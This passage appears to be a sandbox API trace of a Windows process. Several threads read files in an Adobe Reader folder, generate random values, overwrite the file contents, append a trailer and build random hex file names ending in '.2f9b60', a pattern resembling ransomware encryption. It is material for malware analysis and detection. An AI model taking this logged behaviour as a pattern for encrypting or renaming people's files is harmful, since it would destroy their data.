lpNewFilePointer=0x0) returned 1 [0159.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b40 [0159.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.060] NtQuerySystemTime (in: CurrentTime=0x35baf580 | out: CurrentTime=0x35baf580*=132462177641974000) returned 0x0 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x1b9e9652 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x2d8cb7b0 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x397554c [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x4a23dd5d [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x4608d95b [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x6bfba0d9 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x283d8416 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x7d27cf3f [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x424e5c5f [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x3e0c71bf [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x79f453ef [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x33336d44 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x53cc85db [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x512aaad8 [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x2165a14e [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x6db89a8d [0159.060] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x315e93d [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x663012ae [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x748065c8 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x42b29745 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x70568ec6 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x76150dca [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x73edd8ef [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x1598ff84 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x24fd5448 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x72976305 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x36ae2087 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x182cb7ef [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x2e397fc3 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x778dfce9 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x705d8137 [0159.061] RtlRandomEx (in: Seed=0x35baf570 | out: Seed=0x35baf570) returned 0x6a7ec85c [0159.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c00 [0159.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e80 [0159.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c30 [0159.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e80) returned 1 [0159.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0159.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e80 [0159.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426a4d60 [0159.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426a8970 [0159.073] ReadFile (in: hFile=0x644, lpBuffer=0x426a4d60, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x35baf570, lpOverlapped=0x0 | out: lpBuffer=0x426a4d60*, lpNumberOfBytesRead=0x35baf570*=0x1e00, lpOverlapped=0x0) returned 1 [0159.312] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.312] WriteFile (hFile=0x644, lpBuffer=0x426a8970, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x35baf574, lpOverlapped=0x0) [0186.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaa60 [0186.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaa90 [0186.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecaa90) returned 1 [0186.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426a8970) returned 1 [0186.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426a4d60) returned 1 [0186.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e80) returned 1 [0186.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0186.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecaa90 [0186.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0186.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e80 [0186.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaac0 [0186.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecaac0) returned 1 [0186.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cecaac0 [0186.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecaaf0 [0186.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecab20 [0186.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecab20) returned 1 [0186.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e80) returned 1 [0186.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0186.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43103600 [0186.735] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.736] WriteFile (in: hFile=0x644, lpBuffer=0x43103600*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35baf690, lpOverlapped=0x0 | out: lpBuffer=0x43103600*, lpNumberOfBytesWritten=0x35baf690*=0x108, lpOverlapped=0x0) returned 1 [0200.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb660 [0200.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb660) returned 1 [0200.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0200.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb660 [0200.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb630 [0200.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb630) returned 1 [0200.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d130 [0200.976] sprintf (in: _Dest=0x1ce5d130, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d132, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d134, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d136, _Format="%c%c" | out: _Dest="9d") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d138, _Format="%c%c" | out: _Dest="34") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d13a, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d13c, _Format="%c%c" | out: _Dest="de") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d13e, _Format="%c%c" | out: _Dest="e9") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d140, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d142, _Format="%c%c" | out: _Dest="60") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d144, _Format="%c%c" | out: _Dest="11") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d146, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d148, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d14a, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d14c, _Format="%c%c" | out: _Dest="19") returned 2 [0200.976] sprintf (in: _Dest=0x1ce5d14e, _Format="%c%c" | out: _Dest="90") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d150, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d152, _Format="%c%c" | out: _Dest="77") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d154, _Format="%c%c" | out: _Dest="26") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d156, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d158, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.977] sprintf (in: _Dest=0x1ce5d15a, _Format="%c%c" | out: _Dest="ab") returned 2 [0200.977] RtlInitAnsiString (in: DestinationString=0x35baf708, SourceString="fbc01e9d346cdee94f6011ade15e1990e777265dd1ab" | out: DestinationString="fbc01e9d346cdee94f6011ade15e1990e777265dd1ab") [0200.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x35baf6d8, SourceString="fbc01e9d346cdee94f6011ade15e1990e777265dd1ab", AllocateDestinationString=1 | out: DestinationString="fbc01e9d346cdee94f6011ade15e1990e777265dd1ab") returned 0x0 [0200.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce15680 [0200.978] wcscat (in: _Dest=0x43189580, _Source="fbc01e9d346" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346" [0200.978] wcscat (in: _Dest=0x43189580, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346.2f9b60" [0200.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346.2f9b60", NtPathName=0x35baf6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\fbc01e9d346.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314aa20 Thread: id = 2610 os_tid = 0x2134 [0156.542] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur")) returned 0x20 [0156.543] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR", dwFileAttributes=0x20) returned 1 [0156.543] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x640 [0156.544] GetFileSizeEx (in: hFile=0x640, lpFileSize=0x3657f6c0 | out: lpFileSize=0x3657f6c0*=7680) returned 1 [0156.544] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.544] ReadFile (in: hFile=0x640, lpBuffer=0x3657f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3657f688, lpOverlapped=0x0 | out: lpBuffer=0x3657f640*, lpNumberOfBytesRead=0x3657f688*=0x4, lpOverlapped=0x0) returned 1 [0159.470] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205013a0 [0159.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fb0 [0159.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fe0 [0159.471] NtQuerySystemTime (in: CurrentTime=0x3657f580 | out: CurrentTime=0x3657f580*=132462177646030000) returned 0x0 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x30439cdc [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x1b3ef845 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0xc08b0f6 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x5bd22e2b [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x2fe0c70 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x3afffb72 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x4460f789 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x397eb80f [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x32859dfb [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x59401234 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x75170ead [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x230c6be5 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x711bf627 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x2009cf1 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x7bb23b94 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x7c656724 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x15928ae6 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x1853aaeb [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x2c928d6a [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x5b15f228 [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x4d77cf4a [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x12484f8f [0159.471] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x256299e1 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x4884f0b3 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x6349889d [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0xedcae58 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x3ee3a73 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x44c86eaf [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x1a0385a2 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x2f1d49f9 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0x7ef4bc31 [0159.472] RtlRandomEx (in: Seed=0x3657f570 | out: Seed=0x3657f570) returned 0xa34db61 [0159.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4010 [0159.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb73f0 [0159.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4040 [0159.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb73f0) returned 1 [0159.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3fe0) returned 1 [0159.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205013a0) returned 1 [0159.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c0b0 [0159.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb73f0 [0159.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205013a0 [0159.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205013a0) returned 1 [0159.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426c69f0 [0159.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426ca600 [0159.483] ReadFile (in: hFile=0x640, lpBuffer=0x426c69f0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3657f570, lpOverlapped=0x0 | out: lpBuffer=0x426c69f0*, lpNumberOfBytesRead=0x3657f570*=0x1e00, lpOverlapped=0x0) returned 1 [0160.739] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.739] WriteFile (in: hFile=0x640, lpBuffer=0x426ca600*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3657f574, lpOverlapped=0x0 | out: lpBuffer=0x426ca600*, lpNumberOfBytesWritten=0x3657f574*=0x1e00, lpOverlapped=0x0) returned 1 [0165.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a70 [0165.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c198f0 [0165.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c198f0) returned 1 [0165.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426ca600) returned 1 [0165.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426c69f0) returned 1 [0165.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb73f0) returned 1 [0165.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c0b0) returned 1 [0165.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c198f0 [0165.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c0b0 [0165.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb73f0 [0165.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19920 [0165.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19920) returned 1 [0165.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19920 [0165.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19980 [0165.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19950 [0165.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19950) returned 1 [0165.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb73f0) returned 1 [0165.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c0b0) returned 1 [0165.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c17b20 [0165.901] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.901] WriteFile (in: hFile=0x640, lpBuffer=0x42c17b20*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3657f690, lpOverlapped=0x0 | out: lpBuffer=0x42c17b20*, lpNumberOfBytesWritten=0x3657f690*=0x108, lpOverlapped=0x0) returned 1 [0200.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4160 [0200.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4160) returned 1 [0200.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4160 [0200.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4130 [0200.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4130) returned 1 [0200.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.463] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="eb") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="59") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="77") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="66") returned 2 [0200.463] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="cd") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="0d") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="63") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="18") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="20") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="70") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="71") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.464] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="44") returned 2 [0200.464] RtlInitAnsiString (in: DestinationString=0x3657f708, SourceString="bfeb59fc77661cb9d4cd3d0def63ef1820e470716f44" | out: DestinationString="bfeb59fc77661cb9d4cd3d0def63ef1820e470716f44") [0200.464] RtlAnsiStringToUnicodeString (in: DestinationString=0x3657f6d8, SourceString="bfeb59fc77661cb9d4cd3d0def63ef1820e470716f44", AllocateDestinationString=1 | out: DestinationString="bfeb59fc77661cb9d4cd3d0def63ef1820e470716f44") returned 0x0 [0200.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0a60 [0200.465] wcscat (in: _Dest=0x431887c0, _Source="bfeb59fc776" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776" [0200.465] wcscat (in: _Dest=0x431887c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776.2f9b60" [0200.465] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776.2f9b60", NtPathName=0x3657f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\bfeb59fc776.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x431edfe0 Thread: id = 2611 os_tid = 0x2138 [0156.546] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr")) returned 0x20 [0156.546] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR", dwFileAttributes=0x20) returned 1 [0156.547] 